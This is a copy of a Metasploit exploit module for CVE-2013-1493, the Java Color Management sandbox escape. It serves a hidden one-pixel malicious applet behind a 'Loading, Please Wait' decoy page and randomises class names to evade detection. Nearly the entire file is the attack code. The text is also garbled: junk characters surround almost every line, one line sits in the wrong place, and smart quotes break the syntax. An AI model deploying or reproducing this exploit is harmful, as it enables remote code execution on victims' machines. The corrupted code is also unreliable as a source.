##1 B3 P% }+ V# C0 v4 C" D6 a
; L" F5 f( ~ H7 O1 k7 k# This file is part of the Metasploit Framework and may be subject to
1 G7 U0 f& C) o- ^, l& k# redistribution and commercial restrictions. Please see the Metasploit
" l4 H" t* Z% c' x9 s+ s# web site for more information on licensing and terms of use.
! Y5 v1 E: Q( l7 N# http://metasploit.com/6 j1 F* B9 Q. k7 F
##& n' ~1 @# j, x. @) l
require ‘msf/core’4 ]0 K, |2 n |6 H- I
require ‘rex’* G) _$ f+ [" \5 d4 K9 M
class Metasploit3 < Msf::Exploit::Remote
& }! W, H: x$ `$ Y. ORank = NormalRanking
9 l2 n7 I5 F. k4 _& X. C: K- a8 ^% Jinclude Msf::Exploit::Remote::HttpServer::HTML
/ W4 O3 @( ^$ y! _( H" iinclude Msf::Exploit::EXE% l7 s8 r) ?- \
include Msf::Exploit::Remote::BrowserAutopwn. Y& V9 s5 A* F% [* D d) d$ R
autopwn_info({ :javascript => false })6 r9 O3 g# y1 u, L$ W# ^ e4 A# t+ d
def initialize( info = {} )
( V' j# i9 A- l4 F9 jsuper( update_info( info,# l& |6 W l% W. `
‘Name’ => ‘Java CMM Remote Code Execution’,/ O H7 B |4 Y" q, r& `
‘Description’ => %q{
0 f3 e x) F' K z$ t" u# r1 ]This module abuses the Color Management classes from a Java Applet to run
8 v) f2 ^ _: [, h% oarbitrary Java code outside of the sandbox as exploited in the wild in February
* d! |$ Y" m2 B" J( L+ x: dand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41$ X" b6 C0 o: a" F* Z3 Y
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
, K( J) V7 t9 y: Usystems. This exploit doesn’t bypass click-to-play, so the user must accept the java
' A% S5 J8 F) G& ?8 {/ g" pwarning in order to run the malicious applet.0 g7 o0 t1 I0 B1 K3 c' y) G' _5 |6 o
},; B8 e5 `. L v _ z% P
‘License’ => MSF_LICENSE,
5 U: F- q4 T& X) S8 I9 {. ^0 Z‘Author’ =>( B$ i9 a! A2 g* _# C& y1 z8 d3 y
'Unknown', # Vulnerability discovery and Exploit
! X H- u8 ]4 I7 `'juan vazquez' # Metasploit module (just ported the published exploit)4 h2 y, Q1 Z, l: R2 F, }
],
7 {1 I/ X) y/ G, T) e‘References’ =>
5 f4 y! {# G* Y[+ d5 P5 k2 n- r& X. @# y
[ 'CVE', '2013-1493' ],
/ g) F/ z2 E0 q6 P" Z9 N7 `! \, E8 I" i[ 'OSVDB', '90737' ],: A$ c' L" d( M* K, E i1 M
[ 'BID', '58238' ],5 R. t$ F" v! `: V( k0 L' Y' q
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],. m# Z3 e/ F" R- u6 c' t
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
& Y' W+ |# U# V# ~" J8 B[ 'URL', 'http://pastie.org/pastes/6581034' ]
$ J/ [3 \0 B" o" G9 }* B7 [; u: e],6 O- a- Q- ]- R! Q+ b
‘Platform’ => [ 'win', 'java' ],
4 Y9 u7 C# K0 H# j1 V6 M‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
" c! B* i8 v" U2 }‘Targets’ =>
7 v8 H! M q H7 Y& y# D/ |[* P+ o0 t2 C8 J6 B O5 e* c% ?* X
[ 'Generic (Java Payload)',
0 W+ @% M5 B' N2 n8 v/ c( n{9 X1 ]6 d7 D9 ]0 A& Q. X
'Platform' => 'java',
- N8 |; Z0 @3 D% g, d0 W'Arch' => ARCH_JAVA
& {7 b4 q/ L z5 x0 O; I0 E}
6 c0 }) u# u' p3 \' B],
; Q! G9 h4 i% x) [. n! f[ 'Windows x86 (Native Payload)',
- o% O$ c5 U! B{
" L) U8 Z6 t7 O! n! w'Platform' => 'win',
8 T3 Q- a; Q4 A- N- a'Arch' => ARCH_X86! W/ z9 U+ j% m" [
}
( z* D' ?/ T( ]4 p1 G]! V2 G* |$ Z1 x# R# y) K- T
],! {6 n9 p ]" H N3 c; X8 S8 |8 T
‘‘DisclosureDate’ => ‘Mar 01 2013′
/ W) S1 M6 J: q))
$ @+ ]1 O' I1 o# c) k+ o# `end
# w$ Y3 r' y, p4 C; vdef setup/ T2 |6 |, k/ @; T
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)& y2 M" m2 W: E" {" x. D8 L8 T
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) } `$ @7 o6 z/ O1 L( d8 q* W
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
% t: H# ?9 Z) D: Q1 v@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
2 `$ c! }8 v Q( P6 X( }- Ppath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
. ~# d/ u8 l& o8 X( x@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }5 ^) p, i' A# ?7 ~1 c
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
4 c3 v3 X- l1 b9 q. X@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
! m: K6 j: m) C$ B4 ], {2 u@init_class_name = rand_text_alpha(“Init”.length)
- B$ y1 ]( v* k7 v1 @! u3 N@init_class.gsub!(“Init”, @init_class_name)
+ T8 u3 U) n4 L. C1 v5 V4 x n) Ysuper/ ?: d" g! u) G& M7 a
end
4 Z/ d p, m; d: Z; |4 J6 G+ e* ~def on_request_uri(cli, request)
% G1 [# \6 p+ @. e- b. K6 }print_status(“handling request for #{request.uri}”)& e6 k1 X i2 u8 S
case request.uri
' |$ C+ x A( x @5 u* c. \when /\.jar$/i
! G3 b+ C' w' m* `* o, {4 }jar = payload.encoded_jar. g3 r8 {6 Z1 o% S; K
jar.add_file(“#{@init_class_name}.class”, @init_class)
# c, E! u0 W0 N- q4 ^jar.add_file(“Leak.class”, @leak_class)
; N) q2 g* a9 r; x' v ?1 Ojar.add_file(“MyBufferedImage.class”, @buffered_image_class)
! d3 q2 {- _% r" C5 [, Wjar.add_file(“MyColorSpace.class”, @color_space_class)9 c8 F" y. ^, c" P- s' k+ x5 b, D
DefaultTarget’ => 1,/ ]2 o; I. f* A4 C) E w) W; V# \5 |
metasploit_str = rand_text_alpha(“metasploit”.length)8 ~' D9 @/ ?( V) ?) f; }: p, I; J
payload_str = rand_text_alpha(“payload”.length)1 i R% m2 n+ @) V
jar.entries.each { |entry|, \+ T+ P3 M, Q! a2 v u
entry.name.gsub!(“metasploit”, metasploit_str)( o! e$ B4 \# x
entry.name.gsub!(“Payload”, payload_str)
9 _2 ?( U" n T: \3 Centry.data = entry.data.gsub(“metasploit”, metasploit_str)
3 v$ l. i8 V$ E6 Z6 Aentry.data = entry.data.gsub(“Payload”, payload_str)8 q2 q- x/ v- y+ a! `
}
2 _8 c8 @ _& R6 k* ^- H0 {0 Ajar.build_manifest
2 {$ F9 ]6 S) K1 o- tsend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
8 v' {$ V! m9 Q1 Ywhen /\/$/( k. a8 b' _ }" @, P# H0 `5 B
payload = regenerate_payload(cli)
8 B) c" }: o8 w D7 pif not payload
3 E0 [% r( [! T: vprint_error(“Failed to generate the payload.”)
7 E( J3 R( A+ L9 S/ T. M- Bsend_not_found(cli). j( @7 U: H0 L9 F! t5 `% n) Q; ]
return
* Q2 I# |; F6 u+ }* iend
. f8 @# G$ x( i! [send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })* ]# ^4 R. F2 | B
else
: B* K( d; v; ysend_redirect(cli, get_resource() + ‘/’, ”)
1 Q# d. @, p, {1 S7 L: fend4 w: a/ i3 _& L; v; V( `
end0 }' I6 z* E+ U
def generate_html
: q/ ?$ O9 \: i% N+ ^: N$ S- T! `) [html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
/ u4 g- Z, j3 n1 Dhtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|
1 w' f7 j( V) `( B1 s& @! xhtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|4 @. W$ ?# ]6 K$ T! F6 Q
html += %Q|</applet></body></html>|
% H& U* H" C2 w3 z# k3 ureturn html
9 a6 ?, p' r* g5 j6 U& ^end F3 m+ N: o# M; L: {" @
end6 W9 c- }& o& \+ p+ `
end
+ E, {6 @' m( \ E+ B9 e, U' K( W |